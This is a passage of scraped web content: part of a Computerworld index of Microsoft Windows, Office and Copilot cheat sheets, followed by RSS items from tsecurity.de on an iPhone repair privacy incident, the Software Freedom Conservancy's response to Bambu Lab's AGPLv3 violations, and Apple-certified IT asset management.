<li><a href="https://www.computerworld.com/article/1682358/microsoft-cheat-sheets-dive-into-windows-and-office-apps.html#office2013">Office 2013</a></li>



<li><a href="https://www.computerworld.com/article/1682358/microsoft-cheat-sheets-dive-into-windows-and-office-apps.html#office2010">Office 2010</a></li>



<li><a href="https://www.computerworld.com/article/1682358/microsoft-cheat-sheets-dive-into-windows-and-office-apps.html#win8">Windows 8</a></li>
</ul>



<h2 class="wp-block-heading">Microsoft Copilot</h2>



<h3 class="wp-block-heading"><a href="https://www.computerworld.com/article/1611598/microsoft-copilot-tips-how-to-use-copilot-right.html">Microsoft Copilot tips: 9 ways to use Copilot right</a></h3>



<p>The free version of Microsoft’s generative AI chatbot is available in a standalone app, in the Edge browser, and on the web. Here’s how to make the most of it.</p>



<h3 class="wp-block-heading">New: <a href="https://www.computerworld.com/article/4119411/11-cool-things-copilot-can-do-in-excel.html">11 cool things Copilot can do in Excel</a></h3>



<p>As Microsoft ramps up Copilot’s capabilities in Excel, the AI tool is becoming genuinely useful for spreadsheet work.</p>



<h3 class="wp-block-heading">New: <a href="https://www.computerworld.com/article/4171293/copilot-chat-your-hub-for-document-creation-and-analysis.html">Copilot Chat: Your hub for document creation and analysis</a></h3>



<p>Anyone with a Microsoft 365 account can use new AI agents in Copilot Chat to jump-start Word, Excel, and PowerPoint documents — and some users can enlist a special agent to analyze their M365 files. Here’s how.</p>



<h3 class="wp-block-heading"><a href="https://www.computerworld.com/article/3479705/how-to-use-microsoft-copilot-for-writing-in-microsoft-365-word-outlook-onenote.html">Microsoft Copilot can boost your writing in Word, Outlook, and OneNote — here’s how</a></h3>



<p>Copilot integration in Microsoft 365 apps makes it a snap to generate first drafts, revise text, and get instant summaries for long docs or email threads. Here’s how to use Copilot for writing assistance in Word, Outlook, and OneNote.</p>



<h3 class="wp-block-heading"><a href="https://www.computerworld.com/article/4067372/how-to-curb-hallucinations-in-copilot-and-other-genai-tools.html">How to curb hallucinations in Copilot (and other genAI tools)</a></h3>



<p>Generative AI chatbots like Microsoft Copilot make stuff up all the time. Here’s how to rein in those lying tendencies and make better use of the tools.</p>



<h2 class="wp-block-heading">Windows 10 and 11</h2>



<h3 class="wp-block-heading"><a href="https://www.computerworld.com/article/1616436/windows-11-cheat-sheet.html" target="_blank">Windows 11 cheat sheet</a></h3>



<p>To a great extent, Windows 11 looks and works like Windows 10, but there are several minor differences that take some getting used to. We cover all the important changes here, including Copilot integration and new three- and four-finger touchscreen gestures.</p>



<h3 class="wp-block-heading"><a href="https://www.computerworld.com/article/1641435/windows-10-cheat-sheet-2.html" target="_blank">Windows 10 cheat sheet</a></h3>



<p>Windows 10 is <a href="https://www.computerworld.com/article/4072271/its-here-windows-10s-end-of-support-deadline-arrives.html">no longer receiving updates</a>, but if you’re still using this reliable workhorse, here’s a guide to the key features. Don’t miss our list of handy gestures and shortcuts for Windows 10.</p>



<h3 class="wp-block-heading"><a href="https://www.computerworld.com/article/1717094/microsoft-onedrive-cheat-sheet-backup-sync-share-files.html">Microsoft OneDrive cheat sheet: Using OneDrive in Windows</a></h3>



<p>If you have Windows 10 or 11, you have OneDrive. Here’s how to back up, sync and share files in OneDrive and OneDrive for Business on the Windows desktop.</p>



<h4 class="wp-block-heading"><strong>More tips for Windows 10 and 11</strong></h4>



<ul class="wp-block-list">
<li><a href="https://www.computerworld.com/article/4067372/how-to-curb-hallucinations-in-copilot-and-other-genai-tools.html">How to curb hallucinations in Copilot (and other genAI tools)</a></li>



<li><a href="https://www.computerworld.com/article/1611598/microsoft-copilot-tips-how-to-use-copilot-right.html">Microsoft Copilot tips: 9 ways to use Copilot right</a></li>



<li>Updated: <a href="https://www.computerworld.com/article/1631342/windows-11-productivity-tips.html">8 ways to be more productive in Windows 11</a></li>



<li><a href="https://www.computerworld.com/article/1617815/how-to-speed-up-windows-11.html">15 ways to speed up Windows 11</a></li>



<li>Updated: <a href="https://www.computerworld.com/article/1616461/how-to-protect-your-privacy-in-windows-11.html">How to protect your privacy in Windows 11</a></li>



<li><a href="https://www.computerworld.com/article/1674590/repair-windows-10-and-11-step-by-step-guide.html">How to repair Windows 10 or 11 in 4 steps</a></li>



<li><a href="https://www.computerworld.com/article/1642121/how-to-handle-windows-10-and-11-updates.html">How to handle Windows 10 and 11 updates</a></li>



<li><a href="https://www.computerworld.com/article/1715548/how-to-protect-windows-10-from-ransomware.html">How to protect Windows 10 and 11 PCs from ransomware</a></li>



<li><a href="https://www.computerworld.com/article/1661522/how-to-share-a-windows-10-or-11-pc.html">How to share a Windows 10 or 11 PC</a></li>



<li><a href="https://www.computerworld.com/article/1618099/classic-essential-free-utilities-windows-10-windows-11.html">12 classic but essential (and free!) utilities for Windows 10 and 11</a></li>



<li><a href="https://www.computerworld.com/article/1634994/how-to-speed-up-windows-10.html">18 ways to speed up Windows 10</a></li>



<li><a href="https://www.computerworld.com/article/1614198/how-to-protect-privacy-windows-10.html">How to protect your privacy in Windows 10</a></li>



<li><a href="https://www.computerworld.com/article/1643927/top-30-free-cheap-apps-for-windows-10.html">30+ free and cheap apps for Windows 10</a></li>
</ul>



<h2 class="wp-block-heading">Microsoft 365/Office 365 apps</h2>



<h3 class="wp-block-heading"><a href="https://www.computerworld.com/article/1663592/word-for-office-365-cheat-sheet.html">Word for Microsoft 365 cheat sheet</a></h3>



<p>Learn to use the best features introduced in Word for Microsoft 365 in Windows over the past several years. This story covers features introduced in Word 2016, 2019, 2021, and 2024, plus several more exclusive to Microsoft 365 subscribers — and to those with a Microsoft 365 Copilot license.</p>



<p>Related:</p>



<ul class="wp-block-list">
<li><a href="https://www.computerworld.com/article/1613655/handy-word-keyboard-shortcuts-for-windows-and-mac.html">Handy Word keyboard shortcuts for Windows and Mac</a></li>



<li><a href="https://www.computerworld.com/article/3479705/how-to-use-microsoft-copilot-for-writing-in-microsoft-365-word-outlook-onenote.html">Microsoft Copilot can boost your writing in Word, Outlook, and OneNote — here’s how</a></li>



<li>Updated: <a href="https://www.computerworld.com/article/4164537/10-quick-productivity-tips-for-microsoft-365-mobile-apps.html">10 quick productivity tips for Microsoft 365 mobile apps</a></li>



<li><a href="https://www.computerworld.com/article/1651828/microsoft-word-for-android-and-ios-cheat-sheet.html">Microsoft Word for Android (and iOS) cheat sheet</a></li>
</ul>



<h3 class="wp-block-heading"><a href="https://www.computerworld.com/article/1656594/excel-for-office-365-cheat-sheet.html">Excel for Microsoft 365 cheat sheet</a></h3>



<p>Learn about the most important features introduced in Excel over the past several years, with an emphasis on those exclusive to Microsoft 365 subscribers — and to users with a Microsoft 365 Copilot license.</p>



<p>Related:</p>



<ul class="wp-block-list">
<li><a href="https://www.computerworld.com/article/1614370/handy-excel-keyboard-shortcuts-for-windows-and-mac.html">Handy Excel keyboard shortcuts for Windows and Mac</a></li>



<li>New: <a href="https://www.computerworld.com/article/4119411/11-cool-things-copilot-can-do-in-excel.html">11 cool things Copilot can do in Excel</a></li>



<li>Updated: <a href="https://www.computerworld.com/article/4164537/10-quick-productivity-tips-for-microsoft-365-mobile-apps.html">10 quick productivity tips for Microsoft 365 mobile apps</a></li>



<li><strong><a href="https://www.computerworld.com/article/2075645/how-to-use-pivottables-pivotcharts-excel.html">How to use PivotTables and PivotCharts in Excel</a></strong></li>



<li><strong><a href="https://www.computerworld.com/article/3488769/how-to-use-slicers-in-excel.html">How to use slicers in Excel</a></strong></li>



<li><strong><a href="https://www.computerworld.com/article/2149905/excel-basics-get-started-with-tables.html">Excel basics: Get started with tables</a></strong></li>



<li><strong><a href="https://www.computerworld.com/article/3557753/excel-basics-get-started-with-charts-and-sparklines.html">Excel basics: Get started with charts and sparklines</a></strong></li>



<li><a href="https://www.computerworld.com/article/1623024/how-to-use-excel-formulas-and-functions.html">How to use Excel formulas and functions</a></li>



<li><a href="https://www.computerworld.com/article/1633636/how-and-why-to-use-conditional-formatting-in-excel.html">How (and why) to use conditional formatting in Excel</a></li>



<li><a href="https://www.computerworld.com/article/1614590/how-to-use-excel-macros-save-time-automate-work.html">How to use Excel macros to save time and automate your work</a></li>



<li><a href="https://www.computerworld.com/article/1617518/10-spiffy-new-ways-to-show-data-with-excel.html">10 spiffy new ways to show data with Excel</a></li>



<li><a href="https://www.computerworld.com/article/1706647/use-microsoft-excel-to-learn-about-data-analytics.html">Excel: Your entry into the world of data analytics</a></li>



<li><a href="https://www.computerworld.com/article/1723833/how-to-use-excel-as-a-data-visualization-tool.html">How to use Excel as a data visualization tool</a></li>



<li><a href="https://www.computerworld.com/article/1658109/8-simple-ways-to-clean-data-with-excel.html">8 simple ways to clean data with Excel</a></li>
</ul>



<h3 class="wp-block-heading"><a href="https://www.computerworld.com/article/1647230/powerpoint-for-microsoft-365-cheat-sheet.html">PowerPoint for Microsoft 365 cheat sheet</a></h3>



<p>Learn to use the best features introduced in PowerPoint for Microsoft 365 in Windows over the past several years. This story covers the major features introduced in PowerPoint 2016, 2019, 2021, and 2024, plus several more exclusive to Microsoft 365 subscribers — and to those with a Microsoft 365 Copilot license.</p>



<p>Related:</p>



<ul class="wp-block-list">
<li><a href="https://www.computerworld.com/article/1615763/handy-powerpoint-keyboard-shortcuts-for-windows-and-mac.html">Handy PowerPoint keyboard shortcuts for Windows and Mac</a></li>



<li>Updated: <a href="https://www.computerworld.com/article/4164537/10-quick-productivity-tips-for-microsoft-365-mobile-apps.html">10 quick productivity tips for Microsoft 365 mobile apps</a></li>
</ul>



<h3 class="wp-block-heading"><a href="https://www.computerworld.com/article/1614526/outlook-for-microsoft-365-office-365-cheat-sheet.html">Outlook for Microsoft 365 cheat sheet</a></h3>



<p>Discover all the major features introduced in Outlook 2016, 2019, 2021, and 2024, plus more exclusively for Microsoft 365 subscribers — including a simplified Ribbon that shows only the most commonly used commands.</p>



<p>Related:</p>



<ul class="wp-block-list">
<li><a href="https://www.computerworld.com/article/1626504/microsoft-outlook-keyboard-shortcuts-for-windows-and-mac.html">Handy Outlook keyboard shortcuts for Windows and Mac</a></li>



<li><a href="https://www.computerworld.com/article/3479705/how-to-use-microsoft-copilot-for-writing-in-microsoft-365-word-outlook-onenote.html">Microsoft Copilot can boost your writing in Word, Outlook, and OneNote — here’s how</a></li>



<li>Updated: <a href="https://www.computerworld.com/article/4164537/10-quick-productivity-tips-for-microsoft-365-mobile-apps.html">10 quick productivity tips for Microsoft 365 mobile apps</a></li>



<li><a href="https://www.computerworld.com/article/1616186/how-to-use-outlooks-new-calendar-board-view-to-organize-your-work.html">Use Outlook’s new calendar board view to organize your work</a></li>



<li><a href="https://www.computerworld.com/article/1613973/8-outlook-add-ins-to-enhance-collaboration.html">8 Outlook add-ins to enhance collaboration</a></li>



<li><a href="https://www.computerworld.com/article/1631461/how-to-filter-outlook-emails-on-all-your-devices.html">How to filter Outlook emails on all your devices</a></li>



<li>Updated: <a href="https://www.computerworld.com/article/1618952/how-to-check-someone-elses-schedule-in-outlook.html">How to check your co-workers’ schedules in Outlook and Teams</a></li>



<li><a href="https://www.computerworld.com/article/1629865/how-to-work-across-time-zones-in-outlook.html">How to work across time zones in Outlook</a></li>
</ul>



<h3 class="wp-block-heading"><a href="https://www.computerworld.com/article/1631259/how-to-use-microsoft-loop-app.html">Microsoft Loop cheat sheet</a></h3>



<p>Microsoft’s new Loop app provides shared workspaces where teams can collaborate. Our cheat sheet shows you how to use the Loop app.</p>



<h3 class="wp-block-heading"><a href="https://www.computerworld.com/article/1621861/how-to-use-microsoft-loop-in-outlook-and-teams.html">How to use Loop components in Microsoft 365 apps</a></h3>



<p>What makes Loop particularly useful is the ability to collaborate on content snippets called <em>Loop components</em> across multiple Microsoft 365 apps. Here’s how to use Loop components in Outlook, Teams, and other M365 apps.</p>



<h3 class="wp-block-heading">Updated: <a href="https://www.computerworld.com/article/1717491/microsoft-teams-cheat-sheet.html" target="_blank">Microsoft Teams cheat sheet: How to get started</a></h3>



<p>Microsoft’s answer to Slack and Zoom, Teams provides group messaging, voice and video calls, and useful integrations with other Microsoft 365 apps. Here’s how to get set up in Teams and find your way around.</p>



<p>Related:</p>



<ul class="wp-block-list">
<li><a href="https://www.computerworld.com/article/1714753/microsoft-teams-tips-and-tricks.html">28 power user tips for Microsoft Teams</a></li>



<li><a href="https://www.computerworld.com/article/1618650/microsoft-teams-video-meetings-best-practices.html">14 best practices for Microsoft Teams video meetings</a></li>



<li><a href="https://www.computerworld.com/article/1616624/10-best-new-microsoft-teams-meeting-features.html">The 10 best new Microsoft Teams meeting features</a></li>



<li>Updated: <a href="https://www.computerworld.com/article/1618952/how-to-check-someone-elses-schedule-in-outlook.html">How to check your co-workers’ schedules in Outlook and Teams</a></li>



<li><a href="https://www.computerworld.com/article/1619428/how-to-have-teams-meetings-with-people-outside-your-organization.html">How to have Teams meetings with people outside your organization</a></li>



<li><a href="https://www.computerworld.com/article/1632691/microsoft-teams-apps-content-collaboration-management.html">18 Microsoft Teams apps for content collaboration and management</a></li>
</ul>



<h3 class="wp-block-heading"><a href="https://www.computerworld.com/article/1670215/microsoft-onenote-cheat-sheet.html">Microsoft OneNote cheat sheet</a></h3>



<p>Part of Microsoft’s Office suite and built into Windows 10 and 11, OneNote is a robust note-taking app that is also available as a free standalone product. Here’s how to get up and running with OneNote.</p>



<p>Related:</p>



<ul class="wp-block-list">
<li><a href="https://www.computerworld.com/article/3479705/how-to-use-microsoft-copilot-for-writing-in-microsoft-365-word-outlook-onenote.html">Microsoft Copilot can boost your writing in Word, Outlook, and OneNote — here’s how</a></li>



<li>Updated: <a href="https://www.computerworld.com/article/4164537/10-quick-productivity-tips-for-microsoft-365-mobile-apps.html">10 quick productivity tips for Microsoft 365 mobile apps</a></li>
</ul>



<h3 class="wp-block-heading"><a href="https://www.computerworld.com/article/2121520/microsoft-onedrive-cheat-sheet-using-onedrive-for-web.html">Microsoft OneDrive cheat sheet: Using OneDrive for Web</a></h3>



<p>OneDrive for Web lets you save, access, share, and manage your files in the cloud using your favorite browser. Learn how to use the web interface — and Copilot AI with it — for a big productivity boost.</p>



<h3 class="wp-block-heading">Updated: <a href="https://www.computerworld.com/article/1617715/microsoft-forms-cheat-sheet-create-online-surveys-quizzes-forms.html">Microsoft Forms cheat sheet: How to get started</a></h3>



<p>Online forms help you conduct research, collect feedback, test knowledge, and more. Here’s how to use Microsoft Forms to create surveys, feedback forms, quizzes, and other interactive forms.</p>



<h3 class="wp-block-heading"><a href="https://www.computerworld.com/article/1616251/microsoft-visio-cheat-sheet-create-diagrams.html">Microsoft Visio cheat sheet: How to get started</a></h3>



<p>Visio in Microsoft 365 is an excellent tool for creating custom diagrams to illustrate concepts that are difficult to explain through text. Here’s how to use it.</p>



<h3 class="wp-block-heading"><a href="https://www.computerworld.com/article/1628881/how-to-use-microsoft-whiteboard.html">13 tips to get the most out of Microsoft Whiteboard</a></h3>



<p>For Microsoft 365 users, it’s worth adding Microsoft Whiteboard to your collaboration playbook. Here’s how your team can make the most of this digital whiteboard tool.</p>



<h3 class="wp-block-heading">Updated: <a href="https://www.computerworld.com/article/1638502/microsoft-planner-cheat-sheet.html">Microsoft Planner cheat sheet</a></h3>



<p>Planner gives Microsoft 365 users a built-in task-management tool that small teams can use to track plans, tasks, and progress. Here’s our guide to using Planner on the web and within Microsoft Teams.</p>



<h3 class="wp-block-heading"><a href="https://www.computerworld.com/article/1664234/microsoft-power-automate-beginners-guide.html">Microsoft Power Automate: How to get started</a></h3>



<p>With Power Automate, you can create automated workflows for a wide range of business tasks across multiple apps and services — no coding required. Here’s how to get up and running, along with tips for creating reliable automations.</p>



<h3 class="wp-block-heading"><a href="https://www.computerworld.com/article/1717234/sharepoint-online-cheat-sheet.html" target="_blank">SharePoint Online cheat sheet</a></h3>



<p>Learn how to find your way around SharePoint Online (the Office 365 version of SharePoint), create sites, share and manage documents, work with calendars, integrate with Outlook and more. Then go beyond the basics in <a href="https://www.computerworld.com/article/1717160/5-tips-for-working-with-sharepoint-online.html" target="_blank">5 tips for working with SharePoint Online</a>.</p>



<h4 class="wp-block-heading"><strong>More tips for Microsoft 365/Office</strong></h4>



<ul class="wp-block-list">
<li><a href="https://www.computerworld.com/article/1708567/10-highly-useful-add-ins-for-microsoft-office.html">10 highly useful add-ins for Microsoft Office</a></li>



<li><a href="https://www.computerworld.com/article/1704689/5-collaboration-tools-that-enhance-microsoft-office.html">5 collaboration tools that enhance Microsoft Office</a></li>



<li>Updated:<strong> </strong><a href="https://www.computerworld.com/article/1613461/4-steps-to-repair-microsoft-office.html">5 steps to repair Microsoft Office</a></li>
</ul>



<h2 class="wp-block-heading">Office 2021 and 2024</h2>



<h3 class="wp-block-heading"><a href="https://www.computerworld.com/article/3824023/office-2021-and-2024-cheat-sheet.html">Office 2021 and 2024 cheat sheet</a></h3>



<p>Microsoft 365 may get all the attention, but the classic Microsoft Office suite also gets <a href="https://www.computerworld.com/article/1708567/10-highly-useful-add-ins-for-microsoft-office.html">useful additions</a> in every release. Here’s how to use the best new features in Office 2021 and Office 2024.</p>



<h2 class="wp-block-heading">Office 2016 and 2019</h2>



<h3 class="wp-block-heading"><a href="https://www.computerworld.com/article/1715041/word-2016-and-2019-cheat-sheet.html" target="_blank">Word 2016 and 2019 cheat sheet</a></h3>



<p>Learn how to use Word’s live collaborative editing features, Tell Me and Smart Lookup, and the new Translator pane in Word 2019. Also included is a list of <a href="https://www.computerworld.com/article/1715041/word-2016-and-2019-cheat-sheet.html#toc-7" target="_blank">handy keyboard shortcuts for Word 2016 and 2019</a>. If you just want to know where to find various commands on the Ribbon, download our <a href="https://www.computerworld.com/article/1657711/word-2016-and-2019-cheat-sheet-ribbon-quick-reference.html" target="_blank">Word 2016 and 2019 Ribbon quick reference</a>.</p>



<h3 class="wp-block-heading"><a href="https://www.computerworld.com/article/1678058/excel-2016-and-2019-cheat-sheet.html" target="_blank">Excel 2016 and 2019 cheat sheet</a></h3>



<p>Now updated for Excel 2019, our guide covers several useful chart types introduced in Excel 2016 and Excel 2019 for Windows, as well as how to use several impressive new data analysis tools. We’ve also got a list of <a href="https://www.computerworld.com/article/1678058/excel-2016-and-2019-cheat-sheet.html#toc-8" target="_blank">handy keyboard shortcuts in Excel</a>, as well as the <a href="https://www.computerworld.com/article/1630155/excel-2016-and-2019-cheat-sheet-ribbon-quick-reference.html" target="_blank">Excel 2016 and 2019 Ribbon quick reference</a>.</p>



<h3 class="wp-block-heading"><a href="https://www.computerworld.com/article/1703558/powerpoint-2016-and-2019-cheat-sheet.html" target="_blank">PowerPoint 2016 and 2019 cheat sheet</a></h3>



<p>Like Word and Excel, PowerPoint 2016 and PowerPoint 2019 for Windows offer Tell Me, Smart Lookup, live collaborative editing and a slew of new chart types. We cover all that plus some handy features introduced in PowerPoint 2019 — not to mention our list of <a href="https://www.computerworld.com/article/1703558/powerpoint-2016-and-2019-cheat-sheet.html#toc-8" target="_blank">keyboard shortcuts for PowerPoint</a> and the <a href="https://www.computerworld.com/article/1629313/powerpoint-2016-and-2019-cheat-sheet-ribbon-quick-reference.html" target="_blank">PowerPoint 2016 and 2019 Ribbon quick reference</a>.</p>



<h3 class="wp-block-heading"><a href="https://www.computerworld.com/article/1708808/outlook-2016-and-2019-cheat-sheet.html">Outlook 2016 and 2019 cheat sheet</a></h3>



<p>Outlook 2016 for Windows has been enhanced with Smart Lookup, Tell Me, and features to help you find files you want to attach and keep a tidy inbox. And don’t miss our list of <a href="https://www.computerworld.com/article/1708808/outlook-2016-and-2019-cheat-sheet.html#toc-7">keyboard shortcuts for Outlook 2016 and 2019</a> and the <a href="https://www.computerworld.com/article/1613835/outlook-2016-and-2019-cheat-sheet-ribbon-quick-reference.html">Outlook 2016 and 2019 Ribbon quick reference</a>.</p>



<h2 class="wp-block-heading">Office 2013</h2>



<h3 class="wp-block-heading"><a href="https://www.computerworld.com/article/1632924/word-2013-cheat-sheet-2.html" target="_blank">Word 2013 cheat sheet</a></h3>



<p>Among the major features introduced in Word 2013 are a Start screen, a Design tab, Read Mode, and OneDrive sync. Our guide covers how to use them all and provides <a href="https://www.computerworld.com/article/1632924/word-2013-cheat-sheet-2.html" target="_blank">handy keyboard shortcuts for Word 2013</a>. There’s also a <a href="https://www.computerworld.com/article/1633573/word-2013-cheat-sheet-ribbon-quick-reference.html" target="_blank">Word 2013 Ribbon quick reference</a>.</p>



<h3 class="wp-block-heading"><a href="https://www.computerworld.com/article/1674401/sharepoint-2013-cheat-sheet-2.html" target="_blank">SharePoint 2013 cheat sheet</a></h3>



<p>Learn the basics of navigating and using a SharePoint site, where to go to find some of the customization options, and <a href="https://www.computerworld.com/article/1674401/sharepoint-2013-cheat-sheet-2.html" target="_blank">5 advanced SharePoint 2013 tips</a>.</p>



<h2 class="wp-block-heading">Office 2010</h2>



<h3 class="wp-block-heading"><a href="https://www.computerworld.com/article/1536539/word-2010-cheat-sheet.html" target="_blank">Word 2010 cheat sheet</a></h3>



<p>Learn how to use Word 2010’s Navigation pane, image editing tools, text effects and other new features. Also see the list of <a href="https://www.computerworld.com/article/1536539/word-2010-cheat-sheet.html" target="_blank">handy keyboard shortcuts for Word 2010</a> and our <a href="https://www.computerworld.com/article/1537273/word-2010-cheat-sheet-quick-reference-charts.html" target="_blank">Word 2010 Ribbon quick reference charts</a>.</p>



<h3 class="wp-block-heading"><a href="https://www.computerworld.com/article/1548973/excel-2010-cheat-sheet-2.html" target="_blank">Excel 2010 cheat sheet</a></h3>



<p>Excel 2010 introduces Sparklines, Slicers, and other enhancements to PivotTables and PivotCharts. Find out how to use those, along with <a href="https://www.computerworld.com/article/1548973/excel-2010-cheat-sheet-2.html" target="_blank">keyboard shortcuts for Excel 2010</a> and our quick reference for finding your favorite commands on the Excel 2010 Ribbon.</p>



<h3 class="wp-block-heading"><a href="https://www.computerworld.com/article/1526350/powerpoint-2010-cheat-sheet-2.html" target="_blank">PowerPoint 2010 cheat sheet</a></h3>



<p>Learn how to use PowerPoint 2010’s multimedia editing tools, sharing options and other handy features. As usual, we’ve got <a href="https://www.computerworld.com/article/1526350/powerpoint-2010-cheat-sheet-2.html" target="_blank">keyboard shortcuts for PowerPoint 2010</a> and a <a href="https://www.computerworld.com/article/1526375/powerpoint-2010-cheat-sheet-quick-reference-charts.html" target="_blank">guide to finding old PowerPoint 2003 commands on the PowerPoint 2010 Ribbon</a>.</p>



<h3 class="wp-block-heading"><a href="https://www.computerworld.com/article/1529290/outlook-2010-cheat-sheet.html" target="_blank">Outlook 2010 cheat sheet</a></h3>



<p>The Ribbon was only half-present in Outlook 2007, but in Outlook 2010 it’s ubiquitous. Other notable changes include Conversation View to group email messages, Schedule View for scheduling meetings, and an enhanced search function. We show you how to use them all, provide some <a href="https://www.computerworld.com/article/1529290/outlook-2010-cheat-sheet.html" target="_blank">handy keyboard shortcuts for Outlook 2010</a> and detail <a href="https://www.computerworld.com/article/1529783/outlook-2010-cheat-sheet-quick-reference-charts-2.html" target="_blank">where old Outlook 2003 commands are located in Outlook 2010</a>.</p>



<h3 class="wp-block-heading"><a href="https://www.computerworld.com/article/1540956/sharepoint-2010-cheat-sheet.html">SharePoint 2010 cheat sheet</a></h3>



<p>Unlike earlier versions of SharePoint, SharePoint 2010 is based on the Ribbon interface. Here’s how to find your way around and get started with a SharePoint site. </p>



<h2 class="wp-block-heading">Windows 8</h2>



<h3 class="wp-block-heading"><a href="https://www.computerworld.com/article/1530812/microsoft-windows-8-cheat-sheet.html" target="_blank">Windows 8 cheat sheet</a></h3>



<p>Not many people are still using this <a href="https://www.computerworld.com/article/2091600/youre-not-really-still-using-windows-xp-are-you.html">nightmare of an operating system</a>, which radically overhauled the classic Windows interface in an attempt to make it more like a mobile OS. Just in case, here’s help finding your way around. (But seriously, it’s way past time to upgrade to a newer OS.)</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[She handed a repair tech her iPhone and then the worst happened — here's how to protect your data and yourself]]></title>
<description><![CDATA[A Best Buy employee allegedly AirDropped pictures from a customer's phone to his own — here's how to make sure that can never happen to you.]]></description>
<link>https://tsecurity.de/de/3546066/it-nachrichten/she-handed-a-repair-tech-her-iphone-and-then-the-worst-happened-heres-how-to-protect-your-data-and-yourself/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3546066/it-nachrichten/she-handed-a-repair-tech-her-iphone-and-then-the-worst-happened-heres-how-to-protect-your-data-and-yourself/</guid>
<pubDate>Mon, 25 May 2026 19:17:01 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A Best Buy employee allegedly AirDropped pictures from a customer's phone to his own — here's how to make sure that can never happen to you.]]></content:encoded>
</item>
<item>
<title><![CDATA[Comprehensive Response to Bambu's AGPLv3 Violations (Software Freedom Conservancy)]]></title>
<description><![CDATA[The Software Freedom Conservancy (SFC)
published a news
item on May 18 about its response to violations of the AGPLv3 by Bambu
Lab in its 3D printers.  The company has not provided the source code to
its modifications to a 3D "slicer" program that was released under the
AGPLv3 and it has also thr...]]></description>
<link>https://tsecurity.de/de/3546030/linux-tipps/comprehensive-response-to-bambus-agplv3-violations-software-freedom-conservancy/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3546030/linux-tipps/comprehensive-response-to-bambus-agplv3-violations-software-freedom-conservancy/</guid>
<pubDate>Mon, 25 May 2026 18:53:23 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The <a href="https://sfconservancy.org/">Software Freedom Conservancy</a> (SFC)
published a <a href="https://sfconservancy.org/news/2026/may/18/bambu-studio-3d-printer-agpl-violation-response/">news
item</a> on May 18 about its response to violations of the AGPLv3 by Bambu
Lab in its 3D printers.  The company has not provided the source code to
its modifications to a 3D "slicer" program that was released under the
AGPLv3 and it has also threatened Paweł Jarczak who created a fork of a
different slicer (<a href="https://www.orcaslicer.com/">Orca Slicer</a>) released under AGPLv3 in order to interoperate with his
Bambu printer. Based on that, the SFC has created the <a href="https://f.sfconservancy.org/baltobu/reverse-networking">baltobu
project</a> aimed at reverse-engineering and reimplementing the Bambu code
while also hosting the Orca Slicer fork.

<blockquote class="bq">
Bambu has behaved badly for years and made multiple, provably false public statements regarding the AGPLv3 and its requirements. The recent aggressive behavior toward Paweł Jarczak was a last straw for us: we have decided to launch a multi-pronged effort that will assist consumers and users in the short-term, and <i>also</i> work toward a long-term strategy to improve the software right to repair for all 3D printer consumers.
</blockquote>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why Finding an ITAM Partner With Apple Certifications Is Key]]></title>
<description><![CDATA[There was a time when managing Apple devices at scale simply involved buying hardware and passing it out to employees. Unfortunately, this is an antiquated view. With more organizations increasingly adopting devices in the Apple ecosystem across their workflows, including Macs, iPhones, and iPads...]]></description>
<link>https://tsecurity.de/de/3544704/ios-mac-os/why-finding-an-itam-partner-with-apple-certifications-is-key/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3544704/ios-mac-os/why-finding-an-itam-partner-with-apple-certifications-is-key/</guid>
<pubDate>Mon, 25 May 2026 06:24:23 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[There was a time when managing Apple devices at scale simply involved buying hardware and passing it out to employees. Unfortunately, this is an antiquated view. With more organizations increasingly adopting devices in the Apple ecosystem across their workflows, including Macs, iPhones, and iPads, the complexity of repairing, maintaining, upgrading, and securing these devices only continues to increase. 



This is where IT Asset Management (ITAM) takes the stage. More importantly, it’s why choosing the right ITAM partner matters. For companies that rely on Apple products to continue their operations, a partner with Apple certifications isn’t just something to check off a list of wants; it’s a necessity for continuing performance, remaining compliant, and adding long-term value. 



Though the field is ripe with IT providers claiming to offer Apple support, there’s a noticeable gap between those who can provide general support versus certified expertise. It’s a gap that can have an impact on everything from warranty coverage to repair quality, and businesses -- especially large-scale enterprises -- have a critical decision to make when investing heavily in Apple hardware. 



ITAM and the Apple Ecosystem







At its core, ITAM focuses on managing, tracking, and optimizing the lifecycle of IT assets. This includes anything from procurement and deployment to maintenance and eventual replacements. Within an Apple-dominant environment, it also encompasses macOS device management, iOS fleets, and anything in between. 



Strong ITAM strategies ensure proper device configurations, routine software updates, and continued maintenance and monitoring throughout their lifespan. A good strategy also helps the reduction of spending in organizations, as it helps extend the longevity of devices and improves visibility into asset usage. 



Nonetheless, there are some unique considerations to take into account with Apple devices. This includes tight integration between hardware and software, security frameworks, and often, proprietary repair processes. This can often require specialized knowledge when managing these assets. Here, one can begin to see the real value of an Apple-certified partner. 



Visibility In the Field



One area that’s often overlooked when discussing ITAMs is visibility. When an organization scales, it can become more difficult to track devices. This includes how they’re being used and if they’re still performing within a certain level of acceptability. If a company lacks a centralized system, IT teams can be forced to rely on fragmented tools and outdated information. 



An ITAM approach that’s well structured will introduce real-time visibility to asset usage, lifecycle status, and device health. Within Apple environments, this can be especially valuable thanks to these devices typically having longer lifespans when compared to PC fleets. With the right information, businesses can make detailed decisions concerning upgrade times, device redeployment, and even device retirement. 



It’s a level of insight that can be cost effective by preventing over-purchasing. Rather than buying new hardware being the default decision, IT teams can find devices that are being underutilized and reassign them as necessary. In the long run, this approach is far more efficient and cost effective when it comes to managing Apple hardware. For smaller businesses, this can mean solid savings, but for larger enterprises, the cost savings can be massive.



Apple Certifications and Their Role In ITAM







Apple certifications are not just about industry credentials, they’re items that adhere to the philosophies and principals of Apple’s standards when it comes to repairs, lifecycle management, and deployment. Any organization or enterprise relying on Apple devices at scale should be aware that working alongside a certified ITAM provider can help preserve warranties, improve reliability, and reduce costs in the long term. 



ComputerCare holds several Apple certifications that are relevant to enterprise ITAM environments. This includes being an Apple Authorized Reseller, meaning the company is able to procure Apple hardware directly while also being able to support Apple Business Manager (ABM) integration. This helps streamline large-scale deployments and device provisioning. 

